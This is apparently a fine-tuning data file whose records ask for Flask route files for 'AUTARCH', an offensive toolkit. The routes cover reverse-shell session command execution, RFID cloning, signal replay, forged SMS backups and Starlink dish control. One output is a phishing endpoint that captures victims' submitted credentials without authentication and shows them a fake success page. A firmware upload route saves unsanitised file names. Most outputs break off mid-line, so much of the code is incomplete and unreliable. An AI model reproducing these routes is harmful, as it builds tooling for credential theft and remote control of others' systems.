jsonify({'ok': False, 'error': 'Report not found'})\n return Response(content, mimetype='application/json',\n headers={'Content-Dispositi
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Reverse Eng' feature. It should have a blueprint with url_prefix='/reverse-eng', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 13 route handlers.", "input": "Feature: Reverse Eng\nBlueprint: reverse_eng_bp\nPrefix: /reverse-eng\nRoutes: 13", "output": "\"\"\"Reverse Engineering routes.\"\"\"\n\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nreverse_eng_bp = Blueprint('reverse_eng', __name__, url_prefix='/reverse-eng')\n\n\ndef _get_re():\n from modules.reverse_eng import get_reverse_eng\n return get_reverse_eng()\n\n\n# ==================== PAGE ====================\n\n@reverse_eng_bp.route('/')\n@login_required\ndef index():\n return render_template('reverse_eng.html')\n\n\n# ==================== ANALYSIS ====================\n\n@reverse_eng_bp.route('/analyze', methods=['POST'])\n@login_required\ndef analyze():\n \"\"\"Comprehensive binary analysis.\"\"\"\n data = request.get_json(silent=True) or {}\n file_path = data.get('file', '').strip()\n if not file_path:\n return jsonify({'error': 'No file path provided'}), 400\n result = _get_re().analyze_binary(file_path)\n return jsonify(result)\n\n\n@reverse_eng_bp.route('/strings', methods=['POST'])\n@login_required\ndef strings():\n \"\"\"Extract strings from binary.\"\"\"\n data = request.get_json(silent=True) or {}\n file_path = data.get('file', '').strip()\n if not file_path:\n return jsonify({'error': 'No file path provided'}), 400\n min_length = int(data.get('min_length', 4))\n encoding = data.get('encoding', 'both')\n result = _get_re().extract_strings(file_path, min_length=min_length, encoding=encoding)\n return jsonify({'strings': result, 'total': len(result)})\n\n\n# ==================== DISASSEMBLY ====================\n\n@reverse_eng_bp.route('/disassemble', methods=['POST'])\n@login_required\ndef disassemble():\n \"\"\"Disassemble binary data or file.\"\"\"\n data = request.get_json(silent=True) or {}\n file_path = data.get('file', '').strip()\n hex_data = data.get('hex', '').strip()\n arch = data.get('arch', 'x64')\n count = int(data.get('count', 100))\n section = data.get('section', '.text')\n\n if hex_data:\n try:\n raw = bytes.fromhex(hex_data.replace(' ', '').replace('\\n', ''))\n except ValueError:\n return jsonify({'error': 'Invalid hex data'}), 400\n instructions = _get_re().disassemble(raw, arch=arch, count=count)\n elif file_path:\n offset = int(data.get('offset', 0))\n instructions = _get_re().disassemble_file(\n file_path, section=section, offset=offset, count=count)\n else:\n return jsonify({'error': 'Provide file path or hex data'}), 400\n\n return jsonify({'instructions': instructions, 'total': len(instructions)})\n\n\n# ==================== HEX ====================\n\n@reverse_eng_bp.route('/hex', methods=['POST'])\n@login_required\ndef hex_dump():\n \"\"\"Hex dump of file region.\"\"\"\n data = request.get_json(silent=True) or {}\n file_path = data.get('file', '').strip()\n if not file_path:\n return jsonify({'error': 'No file path provided'}), 400\n offset = int(data.get('offset', 0))\n length = int(data.get('length', 256))\n length = min(length, 65536) # Cap at 64KB\n result = _get_re().hex_dump(file_path, offset=offset, length=length)\n return jsonify(result)\n\n\n@reverse_eng_bp.route('/hex/search', methods=['POST'])\n@login_required\ndef hex_search():\n \"\"\"Search for hex pattern in binary.\"\"\"\n data = request.get_json(silent=True) or {}\n file_path = data.get('file', '').strip()\n pattern = data.get('pattern', '').strip()\n if not file_path or not pattern:\n return jsonify({'error': 'File path and pattern required'}), 400\n result = _get_re().hex_search(file_path, pattern)\n return jsonify(result)\n\n\n# ==================== YARA ==========
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Revshell' feature. It should have a blueprint with url_prefix='/revshell', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 18 route handlers.", "input": "Feature: Revshell\nBlueprint: revshell_bp\nPrefix: /revshell\nRoutes: 18", "output": "\"\"\"Reverse Shell routes — listener management, session control, command execution.\"\"\"\n\nimport base64\nimport io\nfrom flask import Blueprint, render_template, request, jsonify, send_file, Response\nfrom web.auth import login_required\n\nrevshell_bp = Blueprint('revshell', __name__, url_prefix='/revshell')\n\n\ndef _listener():\n from core.revshell import get_listener\n return get_listener()\n\n\ndef _json():\n return request.get_json(silent=True) or {}\n\n\n# ── Main Page ────────────────────────────────────────────────────────\n\n@revshell_bp.route('/')\n@login_required\ndef index():\n listener = _listener()\n return render_template('revshell.html',\n running=listener.running,\n token=listener.auth_token,\n port=listener.port,\n sessions=listener.list_sessions())\n\n\n# ── Listener Control ─────────────────────────────────────────────────\n\n@revshell_bp.route('/listener/start', methods=['POST'])\n@login_required\ndef listener_start():\n data = _json()\n port = data.get('port', 17322)\n token = data.get('token', None)\n host = data.get('host', '0.0.0.0')\n\n from core.revshell import start_listener\n ok, msg = start_listener(host=host, port=int(port), token=token)\n return jsonify({'success': ok, 'message': msg, 'token': _listener().auth_token})\n\n\n@revshell_bp.route('/listener/stop', methods=['POST'])\n@login_required\ndef listener_stop():\n from core.revshell import stop_listener\n stop_listener()\n return jsonify({'success': True, 'message': 'Listener stopped'})\n\n\n@revshell_bp.route('/listener/status', methods=['POST'])\n@login_required\ndef listener_status():\n listener = _listener()\n return jsonify({\n 'running': listener.running,\n 'port': listener.port,\n 'token': listener.auth_token,\n 'host': listener.host,\n 'session_count': len(listener.active_sessions),\n })\n\n\n# ── Sessions ─────────────────────────────────────────────────────────\n\n@revshell_bp.route('/sessions', methods=['POST'])\n@login_required\ndef list_sessions():\n return jsonify({'sessions': _listener().list_sessions()})\n\n\n@revshell_bp.route('/session/<sid>/disconnect', methods=['POST'])\n@login_required\ndef disconnect_session(sid):\n _listener().remove_session(sid)\n return jsonify({'success': True, 'message': f'Session {sid} disconnected'})\n\n\n@revshell_bp.route('/session/<sid>/info', methods=['POST'])\n@login_required\ndef session_info(sid):\n session = _listener().get_session(sid)\n if not session or not session.alive:\n return jsonify({'success': False, 'message': 'Session not found or dead'})\n return jsonify({'success': True, 'session': session.to_dict()})\n\n\n# ── Command Execution ────────────────────────────────────────────────\n\n@revshell_bp.route('/session/<sid>/execute', methods=['POST'])\n@login_required\ndef execute_command(sid):\n session = _listener().get_session(sid)\n if not session or not session.alive:\n return jsonify({'success': False, 'message': 'Session not found or dead'})\n\n data = _json()\n cmd = data.get('cmd', '')\n timeout = data.get('timeout', 30)\n\n if not cmd:\n return jsoni
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Rfid Tools' feature. It should have a blueprint with url_prefix='/rfid', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 14 route handlers.", "input": "Feature: Rfid Tools\nBlueprint: rfid_tools_bp\nPrefix: /rfid\nRoutes: 14", "output": "\"\"\"RFID/NFC Tools routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nrfid_tools_bp = Blueprint('rfid_tools', __name__, url_prefix='/rfid')\n\ndef _get_mgr():\n from modules.rfid_tools import get_rfid_manager\n return get_rfid_manager()\n\n@rfid_tools_bp.route('/')\n@login_required\ndef index():\n return render_template('rfid_tools.html')\n\n@rfid_tools_bp.route('/tools')\n@login_required\ndef tools_status():\n return jsonify(_get_mgr().get_tools_status())\n\n@rfid_tools_bp.route('/lf/search', methods=['POST'])\n@login_required\ndef lf_search():\n return jsonify(_get_mgr().lf_search())\n\n@rfid_tools_bp.route('/lf/read/em410x', methods=['POST'])\n@login_required\ndef lf_read_em():\n return jsonify(_get_mgr().lf_read_em410x())\n\n@rfid_tools_bp.route('/lf/clone', methods=['POST'])\n@login_required\ndef lf_clone():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().lf_clone_em410x(data.get('card_id', '')))\n\n@rfid_tools_bp.route('/lf/sim', methods=['POST'])\n@login_required\ndef lf_sim():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().lf_sim_em410x(data.get('card_id', '')))\n\n@rfid_tools_bp.route('/hf/search', methods=['POST'])\n@login_required\ndef hf_search():\n return jsonify(_get_mgr().hf_search())\n\n@rfid_tools_bp.route('/hf/dump', methods=['POST'])\n@login_required\ndef hf_dump():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().hf_dump_mifare(data.get('keys_file')))\n\n@rfid_tools_bp.route('/hf/clone', methods=['POST'])\n@login_required\ndef hf_clone():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().hf_clone_mifare(data.get('dump_file', '')))\n\n@rfid_tools_bp.route('/nfc/scan', methods=['POST'])\n@login_required\ndef nfc_scan():\n return jsonify(_get_mgr().nfc_scan())\n\n@rfid_tools_bp.route('/cards', methods=['GET', 'POST', 'DELETE'])\n@login_required\ndef cards():\n mgr = _get_mgr()\n if request.method == 'POST':\n data = request.get_json(silent=True) or {}\n return jsonify(mgr.save_card(data.get('card', {}), data.get('name')))\n elif request.method == 'DELETE':\n data = request.get_json(silent=True) or {}\n return jsonify(mgr.delete_card(data.get('index', -1)))\n return jsonify(mgr.get_saved_cards())\n\n@rfid_tools_bp.route('/dumps')\n@login_required\ndef dumps():\n return jsonify(_get_mgr().list_dumps())\n\n@rfid_tools_bp.route('/keys')\n@login_required\ndef default_keys():\n return jsonify(_get_mgr().get_default_keys())\n\n@rfid_tools_bp.route('/types')\n@login_required\ndef card_types():\n return jsonify(_get_mgr().get_card_types())\n", "type": "route_creation", "source_file": "web/routes/rfid_tools.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Sdr Tools' feature. It should have a blueprint with url_prefix='/sdr-tools', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 22 route handlers.", "input": "Feature: Sdr Tools\nBlueprint: sdr_tools_bp\nPrefix: /sdr-tools\nRoutes: 22", "output": "\"\"\"SDR/RF Tools routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nsdr_tools_bp = Blueprint('sdr_tools', __name__, url_prefix='/sdr-tools')\n\n\ndef _get_sdr():\n from modules.sdr_tools import get_sdr_tools\n return get_sdr_tools()\n\n\n@sdr_tools_bp.route('/')\n@login_required\ndef index():\n return render_template('sdr_tools.html')\n\n\n@sdr_tools_bp.route('/devices')\n@login_required\ndef devices():\n return jsonify({'devices': _get_sdr().detect_devices()})\n\n\n@sdr_tools_bp.route('/spectrum', methods=['POST'])\n@login_required\ndef spectrum():\n data = request.get_json(silent=True) or {}\n freq_start = int(data.get('freq_start', 88000000))\n freq_end = int(data.get('freq_end', 108000000))\n step = int(data['step']) if data.get('step') else None\n gain = int(data['gain']) if data.get('gain') else None\n duration = int(data.get('duration', 5))\n device = data.get('device', 'rtl')\n result = _get_sdr().scan_spectrum(\n device=device, freq_start=freq_start, freq_end=freq_end,\n step=step, gain=gain, duration=duration\n )\n return jsonify(result)\n\n\n@sdr_tools_bp.route('/capture/start', methods=['POST'])\n@login_required\ndef capture_start():\n data = request.get_json(silent=True) or {}\n result = _get_sdr().start_capture(\n device=data.get('device', 'rtl'),\n frequency=int(data.get('frequency', 100000000)),\n sample_rate=int(data.get('sample_rate', 2048000)),\n gain=data.get('gain', 'auto'),\n duration=int(data.get('duration', 10)),\n output=data.get('output'),\n )\n return jsonify(result)\n\n\n@sdr_tools_bp.route('/capture/stop', methods=['POST'])\n@login_required\ndef capture_stop():\n return jsonify(_get_sdr().stop_capture())\n\n\n@sdr_tools_bp.route('/recordings')\n@login_required\ndef recordings():\n return jsonify({'recordings': _get_sdr().list_recordings()})\n\n\n@sdr_tools_bp.route('/recordings/<rec_id>', methods=['DELETE'])\n@login_required\ndef recording_delete(rec_id):\n return jsonify(_get_sdr().delete_recording(rec_id))\n\n\n@sdr_tools_bp.route('/replay', methods=['POST'])\n@login_required\ndef replay():\n data = request.get_json(silent=True) or {}\n file_path = data.get('file', '')\n frequency = int(data.get('frequency', 100000000))\n sample_rate = int(data.get('sample_rate', 2048000))\n gain = int(data.get('gain', 47))\n return jsonify(_get_sdr().replay_signal(file_path, frequency, sample_rate, gain))\n\n\n@sdr_tools_bp.route('/demod/fm', methods=['POST'])\n@login_required\ndef demod_fm():\n data = request.get_json(silent=True) or {}\n file_path = data.get('file', '')\n frequency = int(data['frequency']) if data.get('frequency') else None\n return jsonify(_get_sdr().demodulate_fm(file_path, frequency))\n\n\n@sdr_tools_bp.route('/demod/am', methods=['POST'])\n@login_required\ndef demod_am():\n data = request.get_json(silent=True) or {}\n file_path = data.get('file', '')\n frequency = int(data['frequency']) if data.get('frequency') else None\n return jsonify(_get_sdr().demodulate_am(file_path, frequency))\n\n\n@sdr_tools_bp.route('/adsb/start', methods=['POST'])\n@login_required\ndef adsb_start():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_sdr().start_adsb(device=data.get('device', 'rtl')))\n\n\n@sdr_tools_bp.route('/adsb/stop', methods=['POST'])\n@login_required\ndef adsb_stop():\n return jsonify(_get_sdr().stop_adsb())\n\n\n@sdr_tools_bp.route('/adsb/aircraft')\n@login_required\ndef adsb_aircraft():\n return jsonify({'aircraft': _get_sdr().get_adsb_aircraft()})\n\n\n@sdr_tools_bp.route('/gps/dete
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Settings' feature. It should have a blueprint with url_prefix='/settings', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 28 route handlers.", "input": "Feature: Settings\nBlueprint: settings_bp\nPrefix: /settings\nRoutes: 28", "output": "\"\"\"Settings route\"\"\"\n\nimport collections\nimport json\nimport logging\nimport os\nimport platform\nimport re\nimport subprocess\nimport threading\nimport time\nfrom pathlib import Path\n\nfrom flask import Blueprint, render_template, request, redirect, url_for, flash, jsonify, current_app, Response\nfrom web.auth import login_required, hash_password, save_credentials, load_credentials\n\n# ── Debug Console infrastructure ─────────────────────────────────────────────\n\n_debug_buffer: collections.deque = collections.deque(maxlen=2000)\n_debug_enabled: bool = False\n_debug_handler_installed: bool = False\n\n\ndef _buf_append(level: str, name: str, raw: str, msg: str, exc: str = '') -> None:\n \"\"\"Thread-safe append to the debug buffer.\"\"\"\n entry: dict = {'ts': time.time(), 'level': level, 'name': name, 'raw': raw, 'msg': msg}\n if exc:\n entry['exc'] = exc\n _debug_buffer.append(entry)\n\n\nclass _DebugBufferHandler(logging.Handler):\n \"\"\"Captures ALL log records into the in-memory debug buffer (always active).\"\"\"\n\n def emit(self, record: logging.LogRecord) -> None:\n try:\n exc_text = ''\n if record.exc_info:\n import traceback as _tb\n exc_text = ''.join(_tb.format_exception(*record.exc_info))\n _buf_append(\n level=record.levelname,\n name=record.name,\n raw=record.getMessage(),\n msg=self.format(record),\n exc=exc_text,\n )\n except Exception:\n pass\n\n\nclass _PrintCapture:\n \"\"\"Wraps sys.stdout or sys.stderr — passes through AND feeds lines to the debug buffer.\"\"\"\n\n def __init__(self, original, level: str = 'STDOUT'):\n self._orig = original\n self._level = level\n self._line_buf = ''\n\n def write(self, text: str) -> int:\n self._orig.write(text)\n self._line_buf += text\n while '\\n' in self._line_buf:\n line, self._line_buf = self._line_buf.split('\\n', 1)\n if line.strip():\n _buf_append(self._level, 'print', line, line)\n return len(text)\n\n def flush(self) -> None:\n self._orig.flush()\n\n def __getattr__(self, name):\n return getattr(self._orig, name)\n\n\ndef _ensure_debug_handler() -> None:\n \"\"\"Install logging handler + stdout/stderr capture once, at startup.\"\"\"\n global _debug_handler_installed\n if _debug_handler_installed:\n return\n # Logging handler\n handler = _DebugBufferHandler()\n handler.setLevel(logging.DEBUG)\n handler.setFormatter(logging.Formatter('%(name)s — %(message)s'))\n root = logging.getLogger()\n root.addHandler(handler)\n if root.level == logging.NOTSET or root.level > logging.DEBUG:\n root.setLevel(logging.DEBUG)\n # stdout / stderr capture\n import sys as _sys\n if not isinstance(_sys.stdout, _PrintCapture):\n _sys.stdout = _PrintCapture(_sys.stdout, 'STDOUT')\n if not isinstance(_sys.stderr, _PrintCapture):\n _sys.stderr = _PrintCapture(_sys.stderr, 'STDERR')\n _debug_handler_installed = True\n\n\n# Install immediately so we capture from process start, not just after toggle\n_ensure_debug_handler()\n\nsettings_bp = Blueprint('settings', __name__, url_prefix='/settings')\n\n\n@settings_bp.route('/')\n@login_required\ndef index():\n config = current_app.autarch_config\n return render_template('settings.html',\n llm_backend=config.get('autarch', 'llm_backend', 'local'),\n llama=config.get_llama_settings(),\n
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Simulate' feature. It should have a blueprint with url_prefix='/simulate', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 7 route handlers.", "input": "Feature: Simulate\nBlueprint: simulate_bp\nPrefix: /simulate\nRoutes: 7", "output": "\"\"\"Simulate category route - password audit, port scan, banner grab, payload generation, legendary creator.\"\"\"\n\nimport json\nimport socket\nimport hashlib\nfrom flask import Blueprint, render_template, request, jsonify, Response\nfrom web.auth import login_required\n\nsimulate_bp = Blueprint('simulate', __name__, url_prefix='/simulate')\n\n\n@simulate_bp.route('/')\n@login_required\ndef index():\n from core.menu import MainMenu\n menu = MainMenu()\n menu.load_modules()\n modules = {k: v for k, v in menu.modules.items() if v.category == 'simulate'}\n return render_template('simulate.html', modules=modules)\n\n\n@simulate_bp.route('/password', methods=['POST'])\n@login_required\ndef password_audit():\n \"\"\"Audit password strength.\"\"\"\n data = request.get_json(silent=True) or {}\n password = data.get('password', '')\n if not password:\n return jsonify({'error': 'No password provided'})\n\n score = 0\n feedback = []\n\n # Length\n if len(password) >= 16:\n score += 3\n feedback.append('+ Excellent length (16+)')\n elif len(password) >= 12:\n score += 2\n feedback.append('+ Good length (12+)')\n elif len(password) >= 8:\n score += 1\n feedback.append('~ Minimum length (8+)')\n else:\n feedback.append('- Too short (<8)')\n\n # Character diversity\n has_upper = any(c.isupper() for c in password)\n has_lower = any(c.islower() for c in password)\n has_digit = any(c.isdigit() for c in password)\n has_special = any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password)\n\n if has_upper:\n score += 1; feedback.append('+ Contains uppercase')\n else:\n feedback.append('- No uppercase letters')\n if has_lower:\n score += 1; feedback.append('+ Contains lowercase')\n else:\n feedback.append('- No lowercase letters')\n if has_digit:\n score += 1; feedback.append('+ Contains numbers')\n else:\n feedback.append('- No numbers')\n if has_special:\n score += 2; feedback.append('+ Contains special characters')\n else:\n feedback.append('~ No special characters')\n\n # Common patterns\n common = ['password', '123456', 'qwerty', 'letmein', 'admin', 'welcome', 'monkey', 'dragon']\n if password.lower() in common:\n score = 0\n feedback.append('- Extremely common password!')\n\n # Sequential\n if any(password[i:i+3].lower() in 'abcdefghijklmnopqrstuvwxyz' for i in range(len(password)-2)):\n score -= 1; feedback.append('~ Contains sequential letters')\n if any(password[i:i+3] in '0123456789' for i in range(len(password)-2)):\n score -= 1; feedback.append('~ Contains sequential numbers')\n\n # Keyboard patterns\n for pattern in ['qwerty', 'asdf', 'zxcv', '1qaz', '2wsx']:\n if pattern in password.lower():\n score -= 1; feedback.append('~ Contains keyboard pattern')\n break\n\n score = max(0, min(10, score))\n strength = 'STRONG' if score >= 8 else 'MODERATE' if score >= 5 else 'WEAK'\n\n hashes = {\n 'md5': hashlib.md5(password.encode()).hexdigest(),\n 'sha1': hashlib.sha1(password.encode()).hexdigest(),\n 'sha256': hashlib.sha256(password.encode()).hexdigest(),\n }\n\n return jsonify({\n 'score': score,\n 'strength': strength,\n 'feedback': feedback,\n 'hashes': hashes,\n })\n\n\n@simulate_bp.route('/portscan', methods=['POST'])\n@login_required\ndef port_scan():\n \"\"\"TCP port scan.\"\"\"\n data = request.get_json(silent=True) or {}\n target = data.get('target', '').strip()\n port_range = data.get('ports', '1-1024').strip()\n\n if not target:\n
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Sms Forge' feature. It should have a blueprint with url_prefix='/sms-forge', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 21 route handlers.", "input": "Feature: Sms Forge\nBlueprint: sms_forge_bp\nPrefix: /sms-forge\nRoutes: 21", "output": "\"\"\"SMS Backup Forge routes.\"\"\"\nimport os\nimport tempfile\nfrom flask import Blueprint, request, jsonify, render_template, send_file, current_app\nfrom web.auth import login_required\n\nsms_forge_bp = Blueprint('sms_forge', __name__, url_prefix='/sms-forge')\n\n_forge = None\n\n\ndef _get_forge():\n global _forge\n if _forge is None:\n from modules.sms_forge import get_sms_forge\n _forge = get_sms_forge()\n return _forge\n\n\n@sms_forge_bp.route('/')\n@login_required\ndef index():\n return render_template('sms_forge.html')\n\n\n@sms_forge_bp.route('/status')\n@login_required\ndef status():\n return jsonify(_get_forge().get_status())\n\n\n@sms_forge_bp.route('/messages')\n@login_required\ndef messages():\n forge = _get_forge()\n address = request.args.get('address') or None\n date_from = request.args.get('date_from')\n date_to = request.args.get('date_to')\n keyword = request.args.get('keyword') or None\n date_from_int = int(date_from) if date_from else None\n date_to_int = int(date_to) if date_to else None\n if address or date_from_int or date_to_int or keyword:\n msgs = forge.find_messages(address, date_from_int, date_to_int, keyword)\n else:\n msgs = forge.get_messages()\n return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})\n\n\n@sms_forge_bp.route('/sms', methods=['POST'])\n@login_required\ndef add_sms():\n data = request.get_json(silent=True) or {}\n forge = _get_forge()\n result = forge.add_sms(\n address=data.get('address', ''),\n body=data.get('body', ''),\n msg_type=int(data.get('type', 1)),\n timestamp=int(data['timestamp']) if data.get('timestamp') else None,\n contact_name=data.get('contact_name', '(Unknown)'),\n read=int(data.get('read', 1)),\n locked=int(data.get('locked', 0)),\n )\n return jsonify(result)\n\n\n@sms_forge_bp.route('/mms', methods=['POST'])\n@login_required\ndef add_mms():\n data = request.get_json(silent=True) or {}\n forge = _get_forge()\n attachments = data.get('attachments', [])\n result = forge.add_mms(\n address=data.get('address', ''),\n body=data.get('body', ''),\n attachments=attachments,\n msg_box=int(data.get('msg_box', 1)),\n timestamp=int(data['timestamp']) if data.get('timestamp') else None,\n contact_name=data.get('contact_name', '(Unknown)'),\n )\n return jsonify(result)\n\n\n@sms_forge_bp.route('/conversation', methods=['POST'])\n@login_required\ndef add_conversation():\n data = request.get_json(silent=True) or {}\n forge = _get_forge()\n result = forge.add_conversation(\n address=data.get('address', ''),\n contact_name=data.get('contact_name', '(Unknown)'),\n messages=data.get('messages', []),\n start_timestamp=int(data['start_timestamp']) if data.get('start_timestamp') else None,\n )\n return jsonify(result)\n\n\n@sms_forge_bp.route('/generate', methods=['POST'])\n@login_required\ndef generate():\n data = request.get_json(silent=True) or {}\n forge = _get_forge()\n result = forge.generate_conversation(\n address=data.get('address', ''),\n contact_name=data.get('contact_name', '(Unknown)'),\n template=data.get('template', ''),\n variables=data.get('variables', {}),\n start_timestamp=int(data['start_timestamp']) if data.get('start_timestamp') else None,\n )\n return jsonify(result)\n\n\n@sms_forge_bp.route('/message/<int:idx>', methods=['PUT'])\n@login_required\ndef modify_message(idx):\n data = request.get_json(silent=True) or {}\n forge = _get_forge()\n result = forge.modify_message(\n index=idx,\n n
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Social Eng' feature. It should have a blueprint with url_prefix='/social-eng', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 18 route handlers.", "input": "Feature: Social Eng\nBlueprint: social_eng_bp\nPrefix: /social-eng\nRoutes: 18", "output": "\"\"\"Social Engineering routes.\"\"\"\n\nfrom flask import Blueprint, request, jsonify, render_template, Response, redirect\nfrom web.auth import login_required\n\nsocial_eng_bp = Blueprint('social_eng', __name__, url_prefix='/social-eng')\n\n\ndef _get_toolkit():\n from modules.social_eng import get_social_eng\n return get_social_eng()\n\n\n# ── Page ─────────────────────────────────────────────────────────────────────\n\n@social_eng_bp.route('/')\n@login_required\ndef index():\n return render_template('social_eng.html')\n\n\n# ── Page Cloning ─────────────────────────────────────────────────────────────\n\n@social_eng_bp.route('/clone', methods=['POST'])\n@login_required\ndef clone_page():\n \"\"\"Clone a login page.\"\"\"\n data = request.get_json(silent=True) or {}\n url = data.get('url', '').strip()\n if not url:\n return jsonify({'ok': False, 'error': 'URL required'})\n return jsonify(_get_toolkit().clone_page(url))\n\n\n@social_eng_bp.route('/pages', methods=['GET'])\n@login_required\ndef list_pages():\n \"\"\"List all cloned pages.\"\"\"\n return jsonify({'ok': True, 'pages': _get_toolkit().list_cloned_pages()})\n\n\n@social_eng_bp.route('/pages/<page_id>', methods=['GET'])\n@login_required\ndef get_page(page_id):\n \"\"\"Get cloned page HTML content.\"\"\"\n html = _get_toolkit().serve_cloned_page(page_id)\n if html is None:\n return jsonify({'ok': False, 'error': 'Page not found'})\n return jsonify({'ok': True, 'html': html, 'page_id': page_id})\n\n\n@social_eng_bp.route('/pages/<page_id>', methods=['DELETE'])\n@login_required\ndef delete_page(page_id):\n \"\"\"Delete a cloned page.\"\"\"\n if _get_toolkit().delete_cloned_page(page_id):\n return jsonify({'ok': True})\n return jsonify({'ok': False, 'error': 'Page not found'})\n\n\n# ── Credential Capture (NO AUTH — accessed by phish targets) ─────────────────\n\n@social_eng_bp.route('/capture/<page_id>', methods=['POST'])\ndef capture_creds(page_id):\n \"\"\"Capture submitted credentials from a cloned page.\"\"\"\n form_data = dict(request.form)\n entry = _get_toolkit().capture_creds(\n page_id,\n form_data,\n ip=request.remote_addr,\n user_agent=request.headers.get('User-Agent', ''),\n )\n # Show a generic success page to the victim\n return \"\"\"<!DOCTYPE html><html><head><title>Success</title>\n<style>body{font-family:sans-serif;display:flex;justify-content:center;align-items:center;min-height:100vh;background:#f5f5f5}\n.card{background:#fff;padding:40px;border-radius:8px;text-align:center;box-shadow:0 2px 8px rgba(0,0,0,0.1)}\n</style></head><body><div class=\"card\"><h2>Authentication Successful</h2>\n<p>You will be redirected shortly...</p></div></body></html>\"\"\"\n\n\n# ── Captures ─────────────────────────────────────────────────────────────────\n\n@social_eng_bp.route('/captures', methods=['GET'])\n@login_required\ndef get_captures():\n \"\"\"Get captured credentials, optionally filtered by page_id.\"\"\"\n page_id = request.args.get('page_id', '').strip()\n captures = _get_toolkit().get_captures(page_id or None)\n return jsonify({'ok': True, 'captures': captures})\n\n\n@social_eng_bp.route('/captures', methods=['DELETE'])\n@login_require
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Starlink Hack' feature. It should have a blueprint with url_prefix='/starlink-hack', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 29 route handlers.", "input": "Feature: Starlink Hack\nBlueprint: starlink_hack_bp\nPrefix: /starlink-hack\nRoutes: 29", "output": "\"\"\"Starlink Terminal Security Analysis routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nstarlink_hack_bp = Blueprint('starlink_hack', __name__, url_prefix='/starlink-hack')\n\n_mgr = None\n\n\ndef _get_mgr():\n global _mgr\n if _mgr is None:\n from modules.starlink_hack import get_starlink_hack\n _mgr = get_starlink_hack()\n return _mgr\n\n\n@starlink_hack_bp.route('/')\n@login_required\ndef index():\n return render_template('starlink_hack.html')\n\n\n@starlink_hack_bp.route('/status')\n@login_required\ndef status():\n return jsonify(_get_mgr().get_status())\n\n\n@starlink_hack_bp.route('/discover', methods=['POST'])\n@login_required\ndef discover():\n data = request.get_json(silent=True) or {}\n ip = data.get('ip')\n return jsonify(_get_mgr().discover_dish(ip=ip))\n\n\n@starlink_hack_bp.route('/dish-status')\n@login_required\ndef dish_status():\n return jsonify(_get_mgr().get_dish_status())\n\n\n@starlink_hack_bp.route('/dish-info')\n@login_required\ndef dish_info():\n return jsonify(_get_mgr().get_dish_info())\n\n\n@starlink_hack_bp.route('/network')\n@login_required\ndef network():\n return jsonify(_get_mgr().get_network_info())\n\n\n@starlink_hack_bp.route('/scan-ports', methods=['POST'])\n@login_required\ndef scan_ports():\n data = request.get_json(silent=True) or {}\n target = data.get('target')\n return jsonify(_get_mgr().scan_dish_ports(target=target))\n\n\n@starlink_hack_bp.route('/grpc/enumerate', methods=['POST'])\n@login_required\ndef grpc_enumerate():\n data = request.get_json(silent=True) or {}\n host = data.get('host')\n port = int(data['port']) if data.get('port') else None\n return jsonify(_get_mgr().grpc_enumerate(host=host, port=port))\n\n\n@starlink_hack_bp.route('/grpc/call', methods=['POST'])\n@login_required\ndef grpc_call():\n data = request.get_json(silent=True) or {}\n method = data.get('method', '')\n params = data.get('params')\n if not method:\n return jsonify({'ok': False, 'error': 'method is required'})\n return jsonify(_get_mgr().grpc_call(method, params))\n\n\n@starlink_hack_bp.route('/grpc/stow', methods=['POST'])\n@login_required\ndef grpc_stow():\n return jsonify(_get_mgr().stow_dish())\n\n\n@starlink_hack_bp.route('/grpc/unstow', methods=['POST'])\n@login_required\ndef grpc_unstow():\n return jsonify(_get_mgr().unstow_dish())\n\n\n@starlink_hack_bp.route('/grpc/reboot', methods=['POST'])\n@login_required\ndef grpc_reboot():\n return jsonify(_get_mgr().reboot_dish())\n\n\n@starlink_hack_bp.route('/grpc/factory-reset', methods=['POST'])\n@login_required\ndef grpc_factory_reset():\n data = request.get_json(silent=True) or {}\n confirm = data.get('confirm', False)\n return jsonify(_get_mgr().factory_reset(confirm=confirm))\n\n\n@starlink_hack_bp.route('/firmware/check', methods=['POST'])\n@login_required\ndef firmware_check():\n return jsonify(_get_mgr().check_firmware_version())\n\n\n@starlink_hack_bp.route('/firmware/analyze', methods=['POST'])\n@login_required\ndef firmware_analyze():\n import os\n from flask import current_app\n if 'file' in request.files:\n f = request.files['file']\n if f.filename:\n upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')\n save_path = os.path.join(upload_dir, f.filename)\n f.save(save_path)\n return jsonify(_get_mgr().analyze_firmware(save_path))\n data = request.get_json(silent=True) or {}\n fw_path = data.get('path', '')\n if not fw_path:\n return jsonify({'ok': False, 'error': 'No firmware file provided'})\n ret
|
|||
|
|
